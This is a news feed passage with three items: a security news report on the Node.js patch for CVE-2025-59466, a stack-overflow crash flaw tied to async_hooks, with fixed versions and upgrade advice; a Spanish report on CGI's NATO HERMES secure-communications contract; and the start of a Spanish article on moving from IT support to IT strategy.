				<div class="et_pb_module et_pb_text et_pb_text_0  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong><div class="post-views content-post post-286904 entry-meta load-static">
				<span class="post-views-icon dashicons dashicons-chart-bar"></span> <span class="post-views-label">Post Views:</span> <span class="post-views-count">3</span>
			</div></strong></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_1  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><br>
<!-- News_Horizontal_smaller --><br>
<ins class="adsbygoogle" data-ad-client="ca-pub-6620833063853657" data-ad-slot="8337846400"></ins><br>
</div>
			</div>
			</div>
				
				
				
				
			</div><div class="et_pb_row_inner et_pb_row_inner_2 patreon-row">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_2 et-last-child">
				
				
				
				
				<div class="et_pb_module et_pb_text et_pb_text_2  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><h3 class="premium-content">Join our <a class="green_color" href="https://www.patreon.com/posts/maximizing-your-87671900" target="_blank" rel="noopener sponsored">Patreon</a> Channel and Gain access to 70+ Exclusive Walkthrough Videos.</h3></div>
			</div><div class="et_pb_module et_pb_image et_pb_image_0">
				
				
				
				
				<a href="https://www.patreon.com/posts/create-evasive-111421720" target="_blank"><span class="et_pb_image_wrap "><img fetchpriority="high" decoding="async" width="800" height="120" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/02/Patreon-2.png" alt="Patreon" title="Patreon" srcset="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/02/Patreon-2.png 800w, https://www.blackhatethicalhacking.com/wp-content/uploads/2025/02/Patreon-2-480x72.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 800px, 100vw" class="wp-image-282931"></span></a>
			</div><div class="et_pb_module et_pb_divider et_pb_divider_0 et_pb_divider_position_ et_pb_space"><div class="et_pb_divider_internal"></div></div>
			</div>
				
				
				
				
			</div><div class="et_pb_row_inner et_pb_row_inner_3">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_3 et-last-child">
				
				
				
				
				<div class="et_pb_module et_pb_text et_pb_text_3  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner">Reading Time: 3 Minutes</div>
			</div>
			</div>
				
				
				
				
			</div><div class="et_pb_row_inner et_pb_row_inner_4">
				<div class="et_pb_column et_pb_column_4_4 et_pb_column_inner et_pb_column_inner_4 et-last-child">
				
				
				
				
				<div class="et_pb_module et_pb_text et_pb_text_4  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><h2 data-start="560" data-end="603"><strong>Critical Flaw With Ecosystem-Wide Impact</strong></h2>
<p data-start="605" data-end="820">The Node.js project has released <strong data-start="638" data-end="658">security updates</strong> to address a critical issue that could cause <strong data-start="704" data-end="731">denial-of-service (DoS)</strong> conditions in what maintainers describe as <strong data-start="775" data-end="820">“virtually every production Node.js app.”</strong></p>
<p data-start="822" data-end="1184">The flaw, tracked as <strong data-start="843" data-end="861">CVE-2025-59466</strong> (CVSS score: <strong data-start="875" data-end="882">7.5</strong>), affects how Node.js handles <strong data-start="913" data-end="939">stack space exhaustion</strong> when the low-level <strong data-start="959" data-end="976"><code data-start="961" data-end="974">async_hooks</code></strong> API is enabled. Under specific conditions, the bug causes Node.js to <strong data-start="1046" data-end="1068">terminate abruptly</strong> instead of throwing a recoverable exception, allowing attackers to crash applications by triggering deep recursion.</p>
<hr data-start="1186" data-end="1189">
<h2 data-start="1191" data-end="1247"><strong>Root Cause: Stack Overflow + async_hooks = Hard Crash</strong></h2>
<p data-start="1249" data-end="1408">Node.js normally attempts to recover gracefully from stack overflows by throwing a <strong data-start="1332" data-end="1351">catchable error</strong>, which many frameworks rely on to maintain availability.</p>
<p data-start="1410" data-end="1556">However, maintainers <strong data-start="1431" data-end="1449">Matteo Collina</strong> and <strong data-start="1454" data-end="1470">Joyee Cheung</strong> <a href="https://nodejs.org/en/blog/vulnerability/january-2026-dos-mitigation-async-hooks" target="_blank" rel="noopener">explained</a> that a long-standing bug breaks this behavior when <code data-start="1532" data-end="1545">async_hooks</code> is in use:</p>
<blockquote data-start="1558" data-end="1685">
<p data-start="1560" data-end="1685">“Node.js exits with code 7 directly without throwing a catchable error when recursions in user code exhaust the stack space.”</p>
</blockquote>
<p data-start="1687" data-end="1811">Exit code <strong data-start="1697" data-end="1702">7</strong> corresponds to an <em data-start="1721" data-end="1766">Internal Exception Handler Run-Time Failure</em>, meaning the process terminates immediately.</p>
<p data-start="1813" data-end="1953">This becomes dangerous when recursion depth is influenced by <strong data-start="1874" data-end="1900">unsanitized user input</strong>, allowing attackers to intentionally crash services.</p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_5 see-also-text  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><strong>See Also: So, you want to be a hacker?<br>
</strong><strong><a href="https://www.blackhatethicalhacking.com/courses/" target="_blank" rel="noopener noreferrer">Offensive Security, Bug Bounty Courses</a></strong></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_6  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><br>
<!-- News_Horizontal_smaller --><br>
<ins class="adsbygoogle" data-ad-client="ca-pub-6620833063853657" data-ad-slot="8337846400"></ins><br>
</div>
			</div><div class="et_pb_module et_pb_text et_pb_text_7  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><h4><span><strong>Discover your weakest link. Be proactive, not reactive. Cybercriminals need just one flaw to strike.</strong></span></h4>
<p><a href="https://www.blackhatethicalhacking.com/solutions/"><img decoding="async" class="alignnone wp-image-276050 size-full" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/11/Solutions.png" alt="" width="800" height="120" srcset="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/11/Solutions.png 800w, https://www.blackhatethicalhacking.com/wp-content/uploads/2023/11/Solutions-480x72.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 800px, 100vw"></a></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_8  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><h2 data-start="1960" data-end="1992"><strong>Why So Many Apps Are Affected</strong></h2>
<p data-start="1994" data-end="2139">The issue has far-reaching consequences because <strong data-start="2042" data-end="2087"><code data-start="2044" data-end="2057">async_hooks</code> underpins <a href="https://nodejs.org/api/async_context.html" target="_blank" rel="noopener">AsyncLocalStorage</a></strong>, which is widely used across the Node.js ecosystem.</p>
<p data-start="2141" data-end="2226">As a result, many popular frameworks and observability tools are impacted, including:</p>
<ul>
<li data-start="2230" data-end="2257"><strong data-start="2230" data-end="2257">React Server Components</strong></li>
<li data-start="2260" data-end="2271"><strong data-start="2260" data-end="2271">Next.js</strong></li>
<li data-start="2274" data-end="2285"><strong data-start="2274" data-end="2285">Datadog</strong></li>
<li data-start="2288" data-end="2301"><strong data-start="2288" data-end="2301">New Relic</strong></li>
<li data-start="2304" data-end="2317"><strong data-start="2304" data-end="2317">Dynatrace</strong></li>
<li data-start="2320" data-end="2335"><strong data-start="2320" data-end="2335">Elastic APM</strong></li>
<li data-start="2338" data-end="2355"><strong data-start="2338" data-end="2355">OpenTelemetry</strong></li>
</ul>
<p data-start="2357" data-end="2502">Any application or dependency that relies on AsyncLocalStorage for request tracing, context propagation, or monitoring is potentially vulnerable.</p>
<hr data-start="2504" data-end="2507">
<h2 data-start="2509" data-end="2534"><strong>Fixed Node.js Versions</strong></h2>
<p data-start="2536" data-end="2590">The flaw has been <a href="https://github.com/nodejs/node/releases/tag/v25.3.0" target="_blank" rel="noopener">addressed</a> in the following releases:</p>
<ul>
<li data-start="2594" data-end="2621"><strong data-start="2594" data-end="2619">Node.js 20.20.0 (LTS)</strong></li>
<li data-start="2624" data-end="2651"><strong data-start="2624" data-end="2649">Node.js 22.22.0 (LTS)</strong></li>
<li data-start="2654" data-end="2681"><strong data-start="2654" data-end="2679">Node.js 24.13.0 (LTS)</strong></li>
<li data-start="2684" data-end="2714"><strong data-start="2684" data-end="2712">Node.js 25.3.0 (Current)</strong></li>
</ul>
<p data-start="2716" data-end="2864">The fix ensures that <strong data-start="2737" data-end="2789">stack overflow errors are re-thrown to user code</strong>, restoring predictable error handling instead of triggering a fatal crash.</p>
<hr data-start="2866" data-end="2869">
<h2 data-start="2871" data-end="2906"><strong>Older Versions Remain Vulnerable</strong></h2>
<p data-start="2908" data-end="3037">The issue affects <strong data-start="2926" data-end="2972">all Node.js versions from 8.x through 18.x</strong>, dating back to <strong data-start="2989" data-end="3015">Node.js 8.0.0 (Carbon)</strong> released in May 2017.</p>
<p data-start="3039" data-end="3171">However, these versions <strong data-start="3063" data-end="3083">remain unpatched</strong> because they have reached <strong data-start="3110" data-end="3131">end-of-life (EoL)</strong> and no longer receive security updates.</p>
<p data-start="3173" data-end="3283">Organizations still running legacy Node.js versions are therefore <strong data-start="3239" data-end="3262">permanently exposed</strong> unless they upgrade.</p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_9 see-also-text  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong>Trending: <a href="https://www.blackhatethicalhacking.com/articles/network-eavesdropping-via-man-in-the-middle-on-internal-communications/" target="_blank" rel="noopener noreferrer">Network Eavesdropping via Man-in-the-Middle on Internal Communications<br>
</a></strong></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_10  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><br>
<!-- News Adsense Adcode Horizontal --><br>
<ins class="adsbygoogle" data-ad-client="ca-pub-6620833063853657" data-ad-slot="8337846400"></ins><br>
</div>
			</div><div class="et_pb_module et_pb_text et_pb_text_11 see-also-text  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong>Trending: <a href="https://www.blackhatethicalhacking.com/tools/evilwaf-web-application-firewall-bypass-toolkit/" target="_blank" rel="noopener">Offensive Security Tool: EvilWAF – Web Application Firewall Bypass Toolkit<br>
</a></strong></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_12  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="flex-shrink-0 flex flex-col relative items-end">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="flex-shrink-0 flex flex-col relative items-end">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="flex-shrink-0 flex flex-col relative items-end">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<div class="flex-shrink-0 flex flex-col relative items-end">
<div class="pt-0">
<div class="gizmo-bot-avatar flex h-8 w-8 items-center justify-center overflow-hidden rounded-full">
<div class="relative p-1 rounded-sm flex items-center justify-center bg-token-main-surface-primary text-token-text-primary h-8 w-8">
<h2 data-start="3290" data-end="3346"><strong>Why Node.js Calls This a “Mitigation,” Not a Full Fix</strong></h2>
<p data-start="3348" data-end="3485">Despite its impact, the Node.js team classified the change as a <strong data-start="3412" data-end="3426">mitigation</strong> rather than a strict security fix, citing several reasons:</p>
<ul>
<li data-start="3489" data-end="3562">Stack space exhaustion is <strong data-start="3515" data-end="3562">not defined in the ECMAScript specification</strong></li>
<li data-start="3565" data-end="3620">The <strong data-start="3569" data-end="3620">V8 engine does not consider it a security issue</strong></li>
<li data-start="3623" data-end="3728">Limitations exist with the <code data-start="3650" data-end="3669">uncaughtException</code> handler, which is intended only as a last-resort mechanism</li>
</ul>
<p data-start="3730" data-end="3786">Still, Node.js acknowledged the real-world consequences:</p>
<blockquote data-start="3788" data-end="3970">
<p data-start="3790" data-end="3970">“We chose to include it in the security release because of its widespread impact on the ecosystem. The fix improves developer experience and makes error handling more predictable.”</p>
</blockquote>
<hr data-start="3972" data-end="3975">
<h2 data-start="3977" data-end="4019"><strong>Additional High-Severity Fixes Released</strong></h2>
<p data-start="4021" data-end="4114">Alongside CVE-2025-59466, Node.js also <a href="https://nodejs.org/en/blog/vulnerability/december-2025-security-releases" target="_blank" rel="noopener">patched</a> three other <strong data-start="4080" data-end="4113">high-severity vulnerabilities</strong>:</p>
<ul>
<li data-start="4118" data-end="4167"><strong data-start="4118" data-end="4136">CVE-2025-55131</strong> – Data leakage or corruption</li>
<li data-start="4170" data-end="4247"><strong data-start="4170" data-end="4188">CVE-2025-55130</strong> – Arbitrary file read via crafted relative symlink paths</li>
<li data-start="4250" data-end="4297"><strong data-start="4250" data-end="4268">CVE-2025-59465</strong> – Remote denial-of-service</li>
</ul>
<hr data-start="4299" data-end="4302">
<h2 data-start="4304" data-end="4326"><strong>Recommended Actions</strong></h2>
<p data-start="4328" data-end="4393">Given the scale of impact, Node.js users are strongly advised to:</p>
<ul>
<li data-start="4397" data-end="4451"><strong data-start="4397" data-end="4420">Upgrade immediately</strong> to a patched Node.js version</li>
<li data-start="4454" data-end="4519">Audit applications for <strong data-start="4477" data-end="4519">unbounded or user-controlled recursion</strong></li>
<li data-start="4522" data-end="4577">Apply additional safeguards in frameworks and libraries</li>
<li data-start="4580" data-end="4646">Ensure production systems are not running <strong data-start="4622" data-end="4646">EoL Node.js releases</strong></li>
</ul>
<p data-start="4648" data-end="4776">For organizations relying on React, Next.js, or APM tooling, the update is particularly urgent to avoid trivial service crashes.</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_13 see-also-text  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong>Trending: <a href="https://www.blackhatethicalhacking.com/news/actively-exploited-d-link-router-flaw-enables-unauthenticated-remote-code-execution/" target="_blank" rel="noopener noreferrer">Actively Exploited D-Link Router Flaw Enables Unauthenticated Remote Code Execution<br>
</a></strong></p></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_14  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><blockquote><p><em>Are u a security researcher? Or a company that writes articles about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing? </em><em>If you want to express your idea in an article contact us here for a quote: <strong>info@blackhatethicalhacking.com</strong></em></p></blockquote></div>
			</div><div class="et_pb_module et_pb_text et_pb_text_15  et_pb_text_align_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_text_inner"><p><strong><em>Sources: thehackernews.com</em></strong></p>
<p><a href="https://thehackernews.com/2026/01/critical-nodejs-vulnerability-can-cause.html" target="_blank" rel="noopener"><strong>Source Link</strong></a></p></div>
			</div><div class="et_pb_module et_pb_divider et_pb_divider_1 et_pb_divider_position_ et_pb_space"><div class="et_pb_divider_internal"></div></div><div class="et_pb_module et_pb_image et_pb_image_1 store-img">
				
				
				
				
				<a href="https://store.blackhatethicalhacking.com/" target="_blank"><span class="et_pb_image_wrap "><img decoding="async" width="1142" height="500" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store.png" alt="Merch" title="Store" srcset="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store.png 1142w, https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store-980x429.png 980w, https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store-480x210.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1142px, 100vw" class="wp-image-271829"></span></a>
			</div><div class=" et_pb_logo_slider  et_pb_logo_slider_0 ">
                
            </div>
			</div>
				
				
				
				
			</div>
			</div><div class="et_pb_column et_pb_column_1_4 et_pb_column_1    et_pb_css_mix_blend_mode_passthrough">
				
				
				
				
				<div class="et_pb_module et_pb_sidebar_0 news-sidebar1 et_pb_widget_area clearfix et_pb_widget_area_left et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_widget rpwe_widget recent-posts-extended"><h4 class="widgettitle">Recent News</h4><div class="rpwe-block news-recent-posts-sb"><ul class="rpwe-ul"><li class="rpwe-li rpwe-clearfix"><a class="rpwe-img" href="https://www.blackhatethicalhacking.com/news/actively-exploited-d-link-router-flaw-enables-unauthenticated-remote-code-execution/" target="_self"><img class="rpwe-aligncenter rpwe-thumb" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2026/01/877x440-Images-for-the-News-posts-36-300x150.png" alt="Actively Exploited D-Link Router Flaw Enables Unauthenticated Remote Code Execution" height="150" width="300" loading="lazy" decoding="async"></a><h3 class="rpwe-title"><a href="https://www.blackhatethicalhacking.com/news/actively-exploited-d-link-router-flaw-enables-unauthenticated-remote-code-execution/" target="_self">Actively Exploited D-Link Router Flaw Enables Unauthenticated Remote Code Execution</a></h3><time class="rpwe-time published" datetime="2026-01-07T13:48:28+02:00">January 7, 2026</time><div class="rpwe-summary"></div></li><li class="rpwe-li rpwe-clearfix"><a class="rpwe-img" href="https://www.blackhatethicalhacking.com/news/kali-linux-2025-4-released-with-3-new-tools-desktop-overhauls-and-halloween-mode/" target="_self"><img class="rpwe-aligncenter rpwe-thumb" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/12/877x440-Images-for-the-News-posts-34-300x150.png" alt="Kali Linux 2025.4 Released With 3 new tools, Desktop Overhauls, and Halloween Mode" height="150" width="300" loading="lazy" decoding="async"></a><h3 class="rpwe-title"><a href="https://www.blackhatethicalhacking.com/news/kali-linux-2025-4-released-with-3-new-tools-desktop-overhauls-and-halloween-mode/" target="_self">Kali Linux 2025.4 Released With 3 new tools, Desktop Overhauls, and Halloween Mode</a></h3><time class="rpwe-time published" datetime="2025-12-16T12:33:50+02:00">December 16, 2025</time><div class="rpwe-summary"></div></li><li class="rpwe-li rpwe-clearfix"><a class="rpwe-img" href="https://www.blackhatethicalhacking.com/news/new-phishing-kits-automate-mfa-bypass-ai-email-lures-and-bank-credential-theft-at-scale/" target="_self"><img class="rpwe-aligncenter rpwe-thumb" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/12/877x440-Images-for-the-News-posts-33-300x150.png" alt="New Phishing Kits Automate MFA Bypass, AI Email Lures, and Bank Credential Theft at Scale" height="150" width="300" loading="lazy" decoding="async"></a><h3 class="rpwe-title"><a href="https://www.blackhatethicalhacking.com/news/new-phishing-kits-automate-mfa-bypass-ai-email-lures-and-bank-credential-theft-at-scale/" target="_self">New Phishing Kits Automate MFA Bypass, AI Email Lures, and Bank Credential Theft at Scale</a></h3><time class="rpwe-time published" datetime="2025-12-15T11:53:36+02:00">December 15, 2025</time><div class="rpwe-summary"></div></li><li class="rpwe-li rpwe-clearfix"><a class="rpwe-img" href="https://www.blackhatethicalhacking.com/news/malicious-vs-code-extensions-infect-developers-with-infostealers-and-session-hijackers/" target="_self"><img class="rpwe-aligncenter rpwe-thumb" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2025/12/877x440-Images-for-the-News-posts-32-300x150.png" alt="Malicious VS Code Extensions Infect Developers With Infostealers and Session Hijackers" height="150" width="300" loading="lazy" decoding="async"></a><h3 class="rpwe-title"><a href="https://www.blackhatethicalhacking.com/news/malicious-vs-code-extensions-infect-developers-with-infostealers-and-session-hijackers/" target="_self">Malicious VS Code Extensions Infect Developers With Infostealers and Session Hijackers</a></h3><time class="rpwe-time published" datetime="2025-12-09T11:33:05+02:00">December 9, 2025</time><div class="rpwe-summary"></div></li></ul></div><!-- Generated by http://wordpress.org/plugins/recent-posts-widget-extended/ --></div><div class="et_pb_widget widget_block"><h3>EXPLORE OUR STORE</h3></div><div class="et_pb_widget widget_media_image"><a href="https://store.blackhatethicalhacking.com/"><img decoding="async" width="233" height="300" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2024/09/Tshirt-233x300.png" class="image wp-image-280999  attachment-medium size-medium" alt=""></a></div><div class="et_pb_widget widget_media_image"><a href="https://store.blackhatethicalhacking.com/"><img decoding="async" width="300" height="280" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2024/09/RedTeamers-e1725807706904-300x280.png" class="image wp-image-281001  attachment-medium size-medium" alt=""></a></div><div class="et_pb_widget widget_media_image"><a href="https://store.blackhatethicalhacking.com/"><img decoding="async" width="711" height="1024" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2024/09/Hoodie-711x1024.png" class="image wp-image-281002  attachment-large size-large" alt=""></a></div><div class="widget_text et_pb_widget widget_custom_html"><div class="textwidget custom-html-widget"> <!-- News Adsense Adcode --> <ins class="adsbygoogle" data-ad-client="ca-pub-6620833063853657" data-ad-slot="8337846400" data-ad-format="auto" data-full-width-responsive="true"></ins> </div></div>
			</div><div class="et_pb_module et_pb_sidebar_1 news-sidebar2 et_animated et_pb_widget_area clearfix et_pb_widget_area_left  et_pb_text_align_justified et_pb_bg_layout_light">
				
				
				
				
				<div class="et_pb_widget widget_block"><a href="https://www.blackhatethicalhacking.com/courses/"><img decoding="async" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png"></a>
<h3>Offensive Security &amp; Ethical Hacking Course</h3>
<p>Begin the learning curve of hacking now!</p>
</div><div class="et_pb_widget widget_block"><hr>
<a href="https://www.blackhatethicalhacking.com/solutions/"><img decoding="async" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Solutions.png"></a>
<h3>Information Security Solutions</h3>
<p>Find out how Pentesting Services can help you.</p></div><div class="et_pb_widget widget_block"><hr>
<a href="https://discord.gg/EYMqveWXkv"><img decoding="async" src="https://www.blackhatethicalhacking.com/wp-content/uploads/2023/10/Discord.png"></a>
<h3>Join our Community</h3></div>
			</div>
			</div>
				</div>
				
			</div>The post <a href="https://www.blackhatethicalhacking.com/news/node-js-fixes-critical-dos-flaw-that-could-crash-virtually-every-production-app/">Node.js Fixes Critical DoS Flaw That Could Crash “Virtually Every Production App”</a> first appeared on <a href="https://www.blackhatethicalhacking.com/">Black Hat Ethical Hacking</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[CGI se involucra en el proyecto HERMES de la OTAN]]></title>
<description><![CDATA[CGI ha firmado un contrato con la Agencia de Comunicaciones e Información (NCIA) de la OTAN para llevar a cabo el proyecto HERMES en colaboración con su partner secunet Security Networks. Su implementación tendrá como resultado un conjunto de servicios gestionados e implementación para operacione...]]></description>
<link>https://tsecurity.de/de/3210625/it-security-nachrichten/cgi-se-involucra-en-el-proyecto-hermes-de-la-otan/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3210625/it-security-nachrichten/cgi-se-involucra-en-el-proyecto-hermes-de-la-otan/</guid>
<pubDate>Tue, 13 Jan 2026 16:51:07 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>CGI ha firmado un contrato con la Agencia de Comunicaciones e Información (NCIA) de la OTAN para llevar a cabo el proyecto HERMES en colaboración con su <em>partner</em> secunet Security Networks. Su implementación tendrá como resultado un conjunto de servicios gestionados e implementación para operaciones, orientado a resultados y al usuario.</p>



<p>El proyecto proporcionará una solución de TI altamente segura y escalable para los ejecutivos de la OTAN y determinados grupos objetivo, lo que permitirá la comunicación móvil en equipos especialmente protegidos.</p>



<p>Como ha explicado Ludwig Decamps, director general de NCIA, a través de un comunicado, “HERMES representa una nueva dimensión de comunicación móvil eficiente dentro de la OTAN, en consonancia con los requisitos de una estructura de mando moderna y flexible”.</p>



<p>De esta manera, la estructura de mando dispondrá de la flexibilidad necesaria para mantener el máximo nivel de seguridad, con independencia de la ubicación o el momento. La solución integra la experiencia de CGI en servicios gestionados con la tecnología Secure Inter-Network Architecture (SINA) de secunet, reconocida por su facilidad de uso.</p>



<p>HERMES permitirá a la OTAN mejorar sus comunicaciones internas para garantizar unas capacidades de mando y control consistentes. La combinación de hardware y software seguros, que permite el intercambio de información clasificada independientemente de la ubicación del usuario, supone un cambio respecto a la comunicación estática. Los líderes de la OTAN ahora pueden acceder a su entorno de trabajo digital de forma móvil, a través de una conectividad protegida, manteniendo el mismo alto nivel de confidencialidad.</p>



<p>Por si parte, Jens Elstermeier, responsable de Desarrollo de Negocio para Defensa e Inteligencia de CGI en Alemania, ha reconocido que la solución que han presentado a la OTAN “combina una arquitectura de seguridad de última generación con la alta dinámica de los escenarios de despliegue móvil, al tiempo que mejora la interoperabilidad”.</p>



<p>Hay que destacar que el nuevo Centro de Operaciones de Servicio HERMES (HSOC) incluye un sistema de monitorización permanente con su propio Centro de Operaciones de Seguridad (SOC), soporte telefónico 24/7, asistencia in situ en todo el mundo y formación para los usuarios. Además, CGI es responsable de la configuración y operación integral de la VPN segura, mientras que su partner secunet proporciona el hardware especializado y los componentes de cifrado. La solución está diseñada para ampliarse fácil y rápidamente a grupos de usuarios y dominios de seguridad adicionales en el futuro.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[7 pasos para pasar de ser soporte técnico a estratega de TI]]></title>
<description><![CDATA[No es nada raro que los profesionales de TI se sientan en los grupos empresariales como poco más que “tomadores de pedidos”: se les indica qué sistemas implementar o solucionar, en lugar de preguntar cómo la tecnología puede resolver problemas empresariales más importantes.



No obstante, dar el...]]></description>
<link>https://tsecurity.de/de/3209992/it-security-nachrichten/7-pasos-para-pasar-de-ser-soporte-tcnico-a-estratega-de-ti/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3209992/it-security-nachrichten/7-pasos-para-pasar-de-ser-soporte-tcnico-a-estratega-de-ti/</guid>
<pubDate>Tue, 13 Jan 2026 12:49:50 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>No es nada raro que los profesionales de TI se sientan en los grupos empresariales como poco más que “tomadores de pedidos”: se les indica qué sistemas implementar o solucionar, en lugar de preguntar cómo la tecnología puede resolver problemas empresariales más importantes.</p>



<p>No obstante, dar el salto de técnico de soporte a asesor estratégico lleva su tiempo. Quienes lo hacen bien no se centran sólo en solucionar problemas, sino que aprenden el negocio, hablan en un lenguaje sencillo, se enfocan en resultados en lugar de tareas, y miran hacia el futuro para prevenir problemas en lugar de reaccionar únicamente ante ellos.</p>



<p>Poro, a continuación detallamos siete pasos para pasar de ser personal de soporte reactivo a asesor de confianza.</p>



<h2 class="wp-block-heading">1. Deje de esperar a que le digan qué hacer</h2>



<p>Eric Johnson, director de informática de PagerDuty, proveedor de software de gestión de operaciones digitales, considera que el mayor obstáculo que frena a los profesionales de TI es la mentalidad pasiva. Quedarse sentado esperando instrucciones impide que los equipos de TI alcancen el nivel de asociación estratégica que desean.</p>



<p>De ahí que señales que “muchas organizaciones de TI caen en esa trampa. Es como decir: ‘Bueno, no podemos hacer nada a menos que nos digan qué hacer’. Y yo les pregunto: ‘¿Han propuesto algo? ¿Han dado ideas sobre lo que se podría hacer?’. Y muchas veces la respuesta es no. Nunca se alcanzará el nivel deseado si no se aporta algo”.</p>



<p>Mientras, Bill Young, director de tecnología y socio operativo de la empresa de selección de personal de TI RightClick, prefiere ser más directo: los profesionales de TI deben pasar de pensar “mi trabajo es arreglar cosas” a “mi trabajo es mejorar el negocio”.</p>



<p>Por su parte, Dana Stocking, directora de TI de la <em>startup</em> de selección de personal de IA Mercor, destaca que uno de los mayores errores que cometen los responsables de TI es tratar las solicitudes de la empresa como casillas a marcar en lugar de oportunidades para identificar causas fundamentales.</p>



<p>Y dice: “Cuando alguien solicita acceso a un software o quiere comprar una nueva herramienta, no se limite a satisfacer la solicitud. Indague en el “porqué”. ¿Qué problema subyacente intentan resolver? A menudo descubrirá que la solución propuesta no es la más adecuada y, al comprender la causa raíz, podrá resolver problemas organizativos más amplios”.</p>



<p>Noe Ramos, vicepresidenta de operaciones de IA de Agiloft, destaca que los buenos líderes de TI ven su trabajo como parte de un ecosistema más amplio, que funciona mejor cuando las personas son abiertas, comparten información y colaboran.</p>



<p>De ahí que afirme: “Pasar de “mi sistema” a “nuestro resultado” es un cambio sutil, pero transformador”.</p>



<h2 class="wp-block-heading">2. Comprender el negocio, no sólo los problemas</h2>



